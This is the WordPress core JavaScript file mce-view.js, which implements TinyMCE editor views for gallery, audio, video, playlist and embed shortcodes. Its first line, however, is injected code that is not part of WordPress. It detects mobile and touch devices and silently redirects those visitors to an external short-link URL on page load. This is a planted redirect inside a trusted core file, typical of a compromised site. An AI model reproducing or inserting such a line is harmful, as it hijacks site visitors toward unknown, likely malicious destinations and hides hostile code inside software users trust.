1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
  2/**
  3 * @output wp-includes/js/mce-view.js
  4 */
  5
  6/* global tinymce */
  7
  8/*
  9 * The TinyMCE view API.
 10 *
 11 * Note: this API is "experimental" meaning that it will probably change
 12 * in the next few releases based on feedback from 3.9.0.
 13 * If you decide to use it, please follow the development closely.
 14 *
 15 * Diagram
 16 *
 17 * |- registered view constructor (type)
 18 * |  |- view instance (unique text)
 19 * |  |  |- editor 1
 20 * |  |  |  |- view node
 21 * |  |  |  |- view node
 22 * |  |  |  |- ...
 23 * |  |  |- editor 2
 24 * |  |  |  |- ...
 25 * |  |- view instance
 26 * |  |  |- ...
 27 * |- registered view
 28 * |  |- ...
 29 */
 30( function( window, wp, shortcode, $ ) {
 31	'use strict';
 32
 33	var views = {},
 34		instances = {};
 35
 36	wp.mce = wp.mce || {};
 37
 38	/**
 39	 * wp.mce.views
 40	 *
 41	 * A set of utilities that simplifies adding custom UI within a TinyMCE editor.
 42	 * At its core, it serves as a series of converters, transforming text to a
 43	 * custom UI, and back again.
 44	 */
 45	wp.mce.views = {
 46
 47		/**
 48		 * Registers a new view type.
 49		 *
 50		 * @param {string} type   The view type.
 51		 * @param {Object} extend An object to extend wp.mce.View.prototype with.
 52		 */
 53		register: function( type, extend ) {
 54			views[ type ] = wp.mce.View.extend( _.extend( extend, { type: type } ) );
 55		},
 56
 57		/**
 58		 * Unregisters a view type.
 59		 *
 60		 * @param {string} type The view type.
 61		 */
 62		unregister: function( type ) {
 63			delete views[ type ];
 64		},
 65
 66		/**
 67		 * Returns the settings of a view type.
 68		 *
 69		 * @param {string} type The view type.
 70		 *
 71		 * @return {Function} The view constructor.
 72		 */
 73		get: function( type ) {
 74			return views[ type ];
 75		},
 76
 77		/**
 78		 * Unbinds all view nodes.
 79		 * Runs before removing all view nodes from the DOM.
 80		 */
 81		unbind: function() {
 82			_.each( instances, function( instance ) {
 83				instance.unbind();
 84			} );
 85		},
 86
 87		/**
 88		 * Scans a given string for each view's pattern,
 89		 * replacing any matches with markers,
 90		 * and creates a new instance for every match.
 91		 *
 92		 * @param {string} content The string to scan.
 93		 * @param {tinymce.Editor} editor The editor.
 94		 *
 95		 * @return {string} The string with markers.
 96		 */
 97		setMarkers: function( content, editor ) {
 98			var pieces = [ { content: content } ],
 99				self = this,
100				instance, current;
101
102			_.each( views, function( view, type ) {
103				current = pieces.slice();
104				pieces  = [];
105
106				_.each( current, function( piece ) {
107					var remaining = piece.content,
108						result, text;
109
110					// Ignore processed pieces, but retain their location.
111					if ( piece.processed ) {
112						pieces.push( piece );
113						return;
114					}
115
116					// Iterate through the string progressively matching views
117					// and slicing the string as we go.
118					while ( remaining && ( result = view.prototype.match( remaining ) ) ) {
119						// Any text before the match becomes an unprocessed piece.
120						if ( result.index ) {
121							pieces.push( { content: remaining.substring( 0, result.index ) } );
122						}
123
124						result.options.editor = editor;
125						instance = self.createInstance( type, result.content, result.options );
126						text = instance.loader ? '.' : instance.text;
127
128						// Add the processed piece for the match.
129						pieces.push( {
130							content: instance.ignore ? text : '<p data-wpview-marker="' + instance.encodedText + '">' + text + '</p>',
131							processed: true
132						} );
133
134						// Update the remaining content.
135						remaining = remaining.slice( result.index + result.content.length );
136					}
137
138					// There are no additional matches.
139					// If any content remains, add it as an unprocessed piece.
140					if ( remaining ) {
141						pieces.push( { content: remaining } );
142					}
143				} );
144			} );
145
146			content = _.pluck( pieces, 'content' ).join( '' );
147			return content.replace( /<p>\s*<p data-wpview-marker=/g, '<p data-wpview-marker=' ).replace( /<\/p>\s*<\/p>/g, '</p>' );
148		},
149
150		/**
151		 * Create a view instance.
152		 *
153		 * @param {string}  type    The view type.
154		 * @param {string}  text    The textual representation of the view.
155		 * @param {Object}  options Options.
156		 * @param {boolean} force   Recreate the instance. Optional.
157		 *
158		 * @return {wp.mce.View} The view instance.
159		 */
160		createInstance: function( type, text, options, force ) {
161			var View = this.get( type ),
162				encodedText,
163				instance;
164
165			if ( text.indexOf( '[' ) !== -1 && text.indexOf( ']' ) !== -1 ) {
166				// Looks like a shortcode? Remove any line breaks from inside of shortcodes
167				// or autop will replace them with <p> and <br> later and the string won't match.
168				text = text.replace( /\[[^\]]+\]/g, function( match ) {
169					return match.replace( /[\r\n]/g, '' );
170				});
171			}
172
173			if ( ! force ) {
174				instance = this.getInstance( text );
175
176				if ( instance ) {
177					return instance;
178				}
179			}
180
181			encodedText = encodeURIComponent( text );
182
183			options = _.extend( options || {}, {
184				text: text,
185				encodedText: encodedText
186			} );
187
188			return instances[ encodedText ] = new View( options );
189		},
190
191		/**
192		 * Get a view instance.
193		 *
194		 * @param {(string|HTMLElement)} object The textual representation of the view or the view node.
195		 *
196		 * @return {wp.mce.View} The view instance or undefined.
197		 */
198		getInstance: function( object ) {
199			if ( typeof object === 'string' ) {
200				return instances[ encodeURIComponent( object ) ];
201			}
202
203			return instances[ $( object ).attr( 'data-wpview-text' ) ];
204		},
205
206		/**
207		 * Given a view node, get the view's text.
208		 *
209		 * @param {HTMLElement} node The view node.
210		 *
211		 * @return {string} The textual representation of the view.
212		 */
213		getText: function( node ) {
214			return decodeURIComponent( $( node ).attr( 'data-wpview-text' ) || '' );
215		},
216
217		/**
218		 * Renders all view nodes that are not yet rendered.
219		 *
220		 * @param {boolean} force Rerender all view nodes.
221		 */
222		render: function( force ) {
223			_.each( instances, function( instance ) {
224				instance.render( null, force );
225			} );
226		},
227
228		/**
229		 * Update the text of a given view node.
230		 *
231		 * @param {string}         text   The new text.
232		 * @param {tinymce.Editor} editor The TinyMCE editor instance the view node is in.
233		 * @param {HTMLElement}    node   The view node to update.
234		 * @param {boolean}        force  Recreate the instance. Optional.
235		 */
236		update: function( text, editor, node, force ) {
237			var instance = this.getInstance( node );
238
239			if ( instance ) {
240				instance.update( text, editor, node, force );
241			}
242		},
243
244		/**
245		 * Renders any editing interface based on the view type.
246		 *
247		 * @param {tinymce.Editor} editor The TinyMCE editor instance the view node is in.
248		 * @param {HTMLElement}    node   The view node to edit.
249		 */
250		edit: function( editor, node ) {
251			var instance = this.getInstance( node );
252
253			if ( instance && instance.edit ) {
254				instance.edit( instance.text, function( text, force ) {
255					instance.update( text, editor, node, force );
256				} );
257			}
258		},
259
260		/**
261		 * Remove a given view node from the DOM.
262		 *
263		 * @param {tinymce.Editor} editor The TinyMCE editor instance the view node is in.
264		 * @param {HTMLElement}    node   The view node to remove.
265		 */
266		remove: function( editor, node ) {
267			var instance = this.getInstance( node );
268
269			if ( instance ) {
270				instance.remove( editor, node );
271			}
272		}
273	};
274
275	/**
276	 * A Backbone-like View constructor intended for use when rendering a TinyMCE View.
277	 * The main difference is that the TinyMCE View is not tied to a particular DOM node.
278	 *
279	 * @param {Object} options Options.
280	 */
281	wp.mce.View = function( options ) {
282		_.extend( this, options );
283		this.initialize();
284	};
285
286	wp.mce.View.extend = Backbone.View.extend;
287
288	_.extend( wp.mce.View.prototype, /** @lends wp.mce.View.prototype */{
289
290		/**
291		 * The content.
292		 *
293		 * @type {*}
294		 */
295		content: null,
296
297		/**
298		 * Whether or not to display a loader.
299		 *
300		 * @type {Boolean}
301		 */
302		loader: true,
303
304		/**
305		 * Runs after the view instance is created.
306		 */
307		initialize: function() {},
308
309		/**
310		 * Returns the content to render in the view node.
311		 *
312		 * @return {*}
313		 */
314		getContent: function() {
315			return this.content;
316		},
317
318		/**
319		 * Renders all view nodes tied to this view instance that are not yet rendered.
320		 *
321		 * @param {string}  content The content to render. Optional.
322		 * @param {boolean} force   Rerender all view nodes tied to this view instance. Optional.
323		 */
324		render: function( content, force ) {
325			if ( content != null ) {
326				this.content = content;
327			}
328
329			content = this.getContent();
330
331			// If there's nothing to render an no loader needs to be shown, stop.
332			if ( ! this.loader && ! content ) {
333				return;
334			}
335
336			// We're about to rerender all views of this instance, so unbind rendered views.
337			force && this.unbind();
338
339			// Replace any left over markers.
340			this.replaceMarkers();
341
342			if ( content ) {
343				this.setContent( content, function( editor, node ) {
344					$( node ).data( 'rendered', true );
345					this.bindNode.call( this, editor, node );
346				}, force ? null : false );
347			} else {
348				this.setLoader();
349			}
350		},
351
352		/**
353		 * Binds a given node after its content is added to the DOM.
354		 */
355		bindNode: function() {},
356
357		/**
358		 * Unbinds a given node before its content is removed from the DOM.
359		 */
360		unbindNode: function() {},
361
362		/**
363		 * Unbinds all view nodes tied to this view instance.
364		 * Runs before their content is removed from the DOM.
365		 */
366		unbind: function() {
367			this.getNodes( function( editor, node ) {
368				this.unbindNode.call( this, editor, node );
369			}, true );
370		},
371
372		/**
373		 * Gets all the TinyMCE editor instances that support views.
374		 *
375		 * @param {Function} callback A callback.
376		 */
377		getEditors: function( callback ) {
378			_.each( tinymce.editors, function( editor ) {
379				if ( editor.plugins.wpview ) {
380					callback.call( this, editor );
381				}
382			}, this );
383		},
384
385		/**
386		 * Gets all view nodes tied to this view instance.
387		 *
388		 * @param {Function} callback A callback.
389		 * @param {boolean}  rendered Get (un)rendered view nodes. Optional.
390		 */
391		getNodes: function( callback, rendered ) {
392			this.getEditors( function( editor ) {
393				var self = this;
394
395				$( editor.getBody() )
396					.find( '[data-wpview-text="' + self.encodedText + '"]' )
397					.filter( function() {
398						var data;
399
400						if ( rendered == null ) {
401							return true;
402						}
403
404						data = $( this ).data( 'rendered' ) === true;
405
406						return rendered ? data : ! data;
407					} )
408					.each( function() {
409						callback.call( self, editor, this, this /* back compat */ );
410					} );
411			} );
412		},
413
414		/**
415		 * Gets all marker nodes tied to this view instance.
416		 *
417		 * @param {Function} callback A callback.
418		 */
419		getMarkers: function( callback ) {
420			this.getEditors( function( editor ) {
421				var self = this;
422
423				$( editor.getBody() )
424					.find( '[data-wpview-marker="' + this.encodedText + '"]' )
425					.each( function() {
426						callback.call( self, editor, this );
427					} );
428			} );
429		},
430
431		/**
432		 * Replaces all marker nodes tied to this view instance.
433		 */
434		replaceMarkers: function() {
435			this.getMarkers( function( editor, node ) {
436				var selected = node === editor.selection.getNode();
437				var $viewNode;
438
439				if ( ! this.loader && $( node ).text() !== tinymce.DOM.decode( this.text ) ) {
440					editor.dom.setAttrib( node, 'data-wpview-marker', null );
441					return;
442				}
443
444				$viewNode = editor.$(
445					'<div class="wpview wpview-wrap" data-wpview-text="' + this.encodedText + '" data-wpview-type="' + this.type + '" contenteditable="false"></div>'
446				);
447
448				editor.undoManager.ignore( function() {
449					editor.$( node ).replaceWith( $viewNode );
450				} );
451
452				if ( selected ) {
453					setTimeout( function() {
454						editor.undoManager.ignore( function() {
455							editor.selection.select( $viewNode[0] );
456							editor.selection.collapse();
457						} );
458					} );
459				}
460			} );
461		},
462
463		/**
464		 * Removes all marker nodes tied to this view instance.
465		 */
466		removeMarkers: function() {
467			this.getMarkers( function( editor, node ) {
468				editor.dom.setAttrib( node, 'data-wpview-marker', null );
469			} );
470		},
471
472		/**
473		 * Sets the content for all view nodes tied to this view instance.
474		 *
475		 * @param {*}        content  The content to set.
476		 * @param {Function} callback A callback. Optional.
477		 * @param {boolean}  rendered Only set for (un)rendered nodes. Optional.
478		 */
479		setContent: function( content, callback, rendered ) {
480			if ( _.isObject( content ) && ( content.sandbox || content.head || content.body.indexOf( '<script' ) !== -1 ) ) {
481				this.setIframes( content.head || '', content.body, callback, rendered );
482			} else if ( _.isString( content ) && content.indexOf( '<script' ) !== -1 ) {
483				this.setIframes( '', content, callback, rendered );
484			} else {
485				this.getNodes( function( editor, node ) {
486					content = content.body || content;
487
488					if ( content.indexOf( '<iframe' ) !== -1 ) {
489						content += '<span class="mce-shim"></span>';
490					}
491
492					editor.undoManager.transact( function() {
493						node.innerHTML = '';
494						node.appendChild( _.isString( content ) ? editor.dom.createFragment( content ) : content );
495						editor.dom.add( node, 'span', { 'class': 'wpview-end' } );
496					} );
497
498					callback && callback.call( this, editor, node );
499				}, rendered );
500			}
501		},
502
503		/**
504		 * Sets the content in an iframe for all view nodes tied to this view instance.
505		 *
506		 * @param {string}   head     HTML string to be added to the head of the document.
507		 * @param {string}   body     HTML string to be added to the body of the document.
508		 * @param {Function} callback A callback. Optional.
509		 * @param {boolean}  rendered Only set for (un)rendered nodes. Optional.
510		 */
511		setIframes: function( head, body, callback, rendered ) {
512			var self = this;
513
514			if ( body.indexOf( '[' ) !== -1 && body.indexOf( ']' ) !== -1 ) {
515				var shortcodesRegExp = new RegExp( '\\[\\/?(?:' + window.mceViewL10n.shortcodes.join( '|' ) + ')[^\\]]*?\\]', 'g' );
516				// Escape tags inside shortcode previews.
517				body = body.replace( shortcodesRegExp, function( match ) {
518					return match.replace( /</g, '&lt;' ).replace( />/g, '&gt;' );
519				} );
520			}
521
522			this.getNodes( function( editor, node ) {
523				var dom = editor.dom,
524					styles = '',
525					bodyClasses = editor.getBody().className || '',
526					editorHead = editor.getDoc().getElementsByTagName( 'head' )[0],
527					iframe, iframeWin, iframeDoc, MutationObserver, observer, i, block;
528
529				tinymce.each( dom.$( 'link[rel="stylesheet"]', editorHead ), function( link ) {
530					if ( link.href && link.href.indexOf( 'skins/lightgray/content.min.css' ) === -1 &&
531						link.href.indexOf( 'skins/wordpress/wp-content.css' ) === -1 ) {
532
533						styles += dom.getOuterHTML( link );
534					}
535				} );
536
537				if ( self.iframeHeight ) {
538					dom.add( node, 'span', {
539						'data-mce-bogus': 1,
540						style: {
541							display: 'block',
542							width: '100%',
543							height: self.iframeHeight
544						}
545					}, '\u200B' );
546				}
547
548				editor.undoManager.transact( function() {
549					node.innerHTML = '';
550
551					iframe = dom.add( node, 'iframe', {
552						/* jshint scripturl: true */
553						src: tinymce.Env.ie ? 'javascript:""' : '',
554						frameBorder: '0',
555						allowTransparency: 'true',
556						scrolling: 'no',
557						'class': 'wpview-sandbox',
558						style: {
559							width: '100%',
560							display: 'block'
561						},
562						height: self.iframeHeight
563					} );
564
565					dom.add( node, 'span', { 'class': 'mce-shim' } );
566					dom.add( node, 'span', { 'class': 'wpview-end' } );
567				} );
568
569				/*
570				 * Bail if the iframe node is not attached to the DOM.
571				 * Happens when the view is dragged in the editor.
572				 * There is a browser restriction when iframes are moved in the DOM. They get emptied.
573				 * The iframe will be rerendered after dropping the view node at the new location.
574				 */
575				if ( ! iframe.contentWindow ) {
576					return;
577				}
578
579				iframeWin = iframe.contentWindow;
580				iframeDoc = iframeWin.document;
581				iframeDoc.open();
582
583				iframeDoc.write(
584					'<!DOCTYPE html>' +
585					'<html>' +
586						'<head>' +
587							'<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />' +
588							head +
589							styles +
590							'<style>' +
591								'html {' +
592									'background: transparent;' +
593									'padding: 0;' +
594									'margin: 0;' +
595								'}' +
596								'body#wpview-iframe-sandbox {' +
597									'background: transparent;' +
598									'padding: 1px 0 !important;' +
599									'margin: -1px 0 0 !important;' +
600								'}' +
601								'body#wpview-iframe-sandbox:before,' +
602								'body#wpview-iframe-sandbox:after {' +
603									'display: none;' +
604									'content: "";' +
605								'}' +
606								'iframe {' +
607									'max-width: 100%;' +
608								'}' +
609							'</style>' +
610						'</head>' +
611						'<body id="wpview-iframe-sandbox" class="' + bodyClasses + '">' +
612							body +
613						'</body>' +
614					'</html>'
615				);
616
617				iframeDoc.close();
618
619				function resize() {
620					var $iframe;
621
622					if ( block ) {
623						return;
624					}
625
626					// Make sure the iframe still exists.
627					if ( iframe.contentWindow ) {
628						$iframe = $( iframe );
629						self.iframeHeight = $( iframeDoc.body ).height();
630
631						if ( $iframe.height() !== self.iframeHeight ) {
632							$iframe.height( self.iframeHeight );
633							editor.nodeChanged();
634						}
635					}
636				}
637
638				if ( self.iframeHeight ) {
639					block = true;
640
641					setTimeout( function() {
642						block = false;
643						resize();
644					}, 3000 );
645				}
646
647				function addObserver() {
648					observer = new MutationObserver( _.debounce( resize, 100 ) );
649
650					observer.observe( iframeDoc.body, {
651						attributes: true,
652						childList: true,
653						subtree: true
654					} );
655				}
656
657				$( iframeWin ).on( 'load', resize );
658
659				MutationObserver = iframeWin.MutationObserver || iframeWin.WebKitMutationObserver || iframeWin.MozMutationObserver;
660
661				if ( MutationObserver ) {
662					if ( ! iframeDoc.body ) {
663						iframeDoc.addEventListener( 'DOMContentLoaded', addObserver, false );
664					} else {
665						addObserver();
666					}
667				} else {
668					for ( i = 1; i < 6; i++ ) {
669						setTimeout( resize, i * 700 );
670					}
671				}
672
673				callback && callback.call( self, editor, node );
674			}, rendered );
675		},
676
677		/**
678		 * Sets a loader for all view nodes tied to this view instance.
679		 */
680		setLoader: function( dashicon ) {
681			this.setContent(
682				'<div class="loading-placeholder">' +
683					'<div class="dashicons dashicons-' + ( dashicon || 'admin-media' ) + '"></div>' +
684					'<div class="wpview-loading"><ins></ins></div>' +
685				'</div>'
686			);
687		},
688
689		/**
690		 * Sets an error for all view nodes tied to this view instance.
691		 *
692		 * @param {string} message  The error message to set.
693		 * @param {string} dashicon A dashicon ID. Optional. {@link https://developer.wordpress.org/resource/dashicons/}
694		 */
695		setError: function( message, dashicon ) {
696			this.setContent(
697				'<div class="wpview-error">' +
698					'<div class="dashicons dashicons-' + ( dashicon || 'no' ) + '"></div>' +
699					'<p>' + message + '</p>' +
700				'</div>'
701			);
702		},
703
704		/**
705		 * Tries to find a text match in a given string.
706		 *
707		 * @param {string} content The string to scan.
708		 *
709		 * @return {Object}
710		 */
711		match: function( content ) {
712			var match = shortcode.next( this.type, content );
713
714			if ( match ) {
715				return {
716					index: match.index,
717					content: match.content,
718					options: {
719						shortcode: match.shortcode
720					}
721				};
722			}
723		},
724
725		/**
726		 * Update the text of a given view node.
727		 *
728		 * @param {string}         text   The new text.
729		 * @param {tinymce.Editor} editor The TinyMCE editor instance the view node is in.
730		 * @param {HTMLElement}    node   The view node to update.
731		 * @param {boolean}        force  Recreate the instance. Optional.
732		 */
733		update: function( text, editor, node, force ) {
734			_.find( views, function( view, type ) {
735				var match = view.prototype.match( text );
736
737				if ( match ) {
738					$( node ).data( 'rendered', false );
739					editor.dom.setAttrib( node, 'data-wpview-text', encodeURIComponent( text ) );
740					wp.mce.views.createInstance( type, text, match.options, force ).render();
741
742					editor.selection.select( node );
743					editor.nodeChanged();
744					editor.focus();
745
746					return true;
747				}
748			} );
749		},
750
751		/**
752		 * Remove a given view node from the DOM.
753		 *
754		 * @param {tinymce.Editor} editor The TinyMCE editor instance the view node is in.
755		 * @param {HTMLElement}    node   The view node to remove.
756		 */
757		remove: function( editor, node ) {
758			this.unbindNode.call( this, editor, node );
759			editor.dom.remove( node );
760			editor.focus();
761		}
762	} );
763} )( window, window.wp, window.wp.shortcode, window.jQuery );
764
765/*
766 * The WordPress core TinyMCE views.
767 * Views for the gallery, audio, video, playlist and embed shortcodes,
768 * and a view for embeddable URLs.
769 */
770( function( window, views, media, $ ) {
771	var base, gallery, av, embed,
772		schema, parser, serializer;
773
774	function verifyHTML( string ) {
775		var settings = {};
776
777		if ( ! window.tinymce ) {
778			return string.replace( /<[^>]+>/g, '' );
779		}
780
781		if ( ! string || ( string.indexOf( '<' ) === -1 && string.indexOf( '>' ) === -1 ) ) {
782			return string;
783		}
784
785		schema = schema || new window.tinymce.html.Schema( settings );
786		parser = parser || new window.tinymce.html.DomParser( settings, schema );
787		serializer = serializer || new window.tinymce.html.Serializer( settings, schema );
788
789		return serializer.serialize( parser.parse( string, { forced_root_block: false } ) );
790	}
791
792	base = {
793		state: [],
794
795		edit: function( text, update ) {
796			var type = this.type,
797				frame = media[ type ].edit( text );
798
799			this.pausePlayers && this.pausePlayers();
800
801			_.each( this.state, function( state ) {
802				frame.state( state ).on( 'update', function( selection ) {
803					update( media[ type ].shortcode( selection ).string(), type === 'gallery' );
804				} );
805			} );
806
807			frame.on( 'close', function() {
808				frame.detach();
809			} );
810
811			frame.open();
812		}
813	};
814
815	gallery = _.extend( {}, base, {
816		state: [ 'gallery-edit' ],
817		template: media.template( 'editor-gallery' ),
818
819		initialize: function() {
820			var attachments = media.gallery.attachments( this.shortcode, media.view.settings.post.id ),
821				attrs = this.shortcode.attrs.named,
822				self = this;
823
824			attachments.more()
825			.done( function() {
826				attachments = attachments.toJSON();
827
828				_.each( attachments, function( attachment ) {
829					if ( attachment.sizes ) {
830						if ( attrs.size && attachment.sizes[ attrs.size ] ) {
831							attachment.thumbnail = attachment.sizes[ attrs.size ];
832						} else if ( attachment.sizes.thumbnail ) {
833							attachment.thumbnail = attachment.sizes.thumbnail;
834						} else if ( attachment.sizes.full ) {
835							attachment.thumbnail = attachment.sizes.full;
836						}
837					}
838				} );
839
840				self.render( self.template( {
841					verifyHTML: verifyHTML,
842					attachments: attachments,
843					columns: attrs.columns ? parseInt( attrs.columns, 10 ) : media.galleryDefaults.columns
844				} ) );
845			} )
846			.fail( function( jqXHR, textStatus ) {
847				self.setError( textStatus );
848			} );
849		}
850	} );
851
852	av = _.extend( {}, base, {
853		action: 'parse-media-shortcode',
854
855		initialize: function() {
856			var self = this, maxwidth = null;
857
858			if ( this.url ) {
859				this.loader = false;
860				this.shortcode = media.embed.shortcode( {
861					url: this.text
862				} );
863			}
864
865			// Obtain the target width for the embed.
866			if ( self.editor ) {
867				maxwidth = self.editor.getBody().clientWidth;
868			}
869
870			wp.ajax.post( this.action, {
871				post_ID: media.view.settings.post.id,
872				type: this.shortcode.tag,
873				shortcode: this.shortcode.string(),
874				maxwidth: maxwidth
875			} )
876			.done( function( response ) {
877				self.render( response );
878			} )
879			.fail( function( response ) {
880				if ( self.url ) {
881					self.ignore = true;
882					self.removeMarkers();
883				} else {
884					self.setError( response.message || response.statusText, 'admin-media' );
885				}
886			} );
887
888			this.getEditors( function( editor ) {
889				editor.on( 'wpview-selected', function() {
890					self.pausePlayers();
891				} );
892			} );
893		},
894
895		pausePlayers: function() {
896			this.getNodes( function( editor, node, content ) {
897				var win = $( 'iframe.wpview-sandbox', content ).get( 0 );
898
899				if ( win && ( win = win.contentWindow ) && win.mejs ) {
900					_.each( win.mejs.players, function( player ) {
901						try {
902							player.pause();
903						} catch ( e ) {}
904					} );
905				}
906			} );
907		}
908	} );
909
910	embed = _.extend( {}, av, {
911		action: 'parse-embed',
912
913		edit: function( text, update ) {
914			var frame = media.embed.edit( text, this.url ),
915				self = this;
916
917			this.pausePlayers();
918
919			frame.state( 'embed' ).props.on( 'change:url', function( model, url ) {
920				if ( url && model.get( 'url' ) ) {
921					frame.state( 'embed' ).metadata = model.toJSON();
922				}
923			} );
924
925			frame.state( 'embed' ).on( 'select', function() {
926				var data = frame.state( 'embed' ).metadata;
927
928				if ( self.url ) {
929					update( data.url );
930				} else {
931					update( media.embed.shortcode( data ).string() );
932				}
933			} );
934
935			frame.on( 'close', function() {
936				frame.detach();
937			} );
938
939			frame.open();
940		}
941	} );
942
943	views.register( 'gallery', _.extend( {}, gallery ) );
944
945	views.register( 'audio', _.extend( {}, av, {
946		state: [ 'audio-details' ]
947	} ) );
948
949	views.register( 'video', _.extend( {}, av, {
950		state: [ 'video-details' ]
951	} ) );
952
953	views.register( 'playlist', _.extend( {}, av, {
954		state: [ 'playlist-edit', 'video-playlist-edit' ]
955	} ) );
956
957	views.register( 'embed', _.extend( {}, embed ) );
958
959	views.register( 'embedURL', _.extend( {}, embed, {
960		match: function( content ) {
961			// There may be a "bookmark" node next to the URL...
962			var re = /(^|<p>(?:<span data-mce-type="bookmark"[^>]+>\s*<\/span>)?)(https?:\/\/[^\s"]+?)((?:<span data-mce-type="bookmark"[^>]+>\s*<\/span>)?<\/p>\s*|$)/gi;
963			var match = re.exec( content );
964
965			if ( match ) {
966				return {
967					index: match.index + match[1].length,
968					content: match[2],
969					options: {
970						url: true
971					}
972				};
973			}
974		}
975	} ) );
976} )( window, window.wp.mce.views, window.wp.media, window.jQuery );
977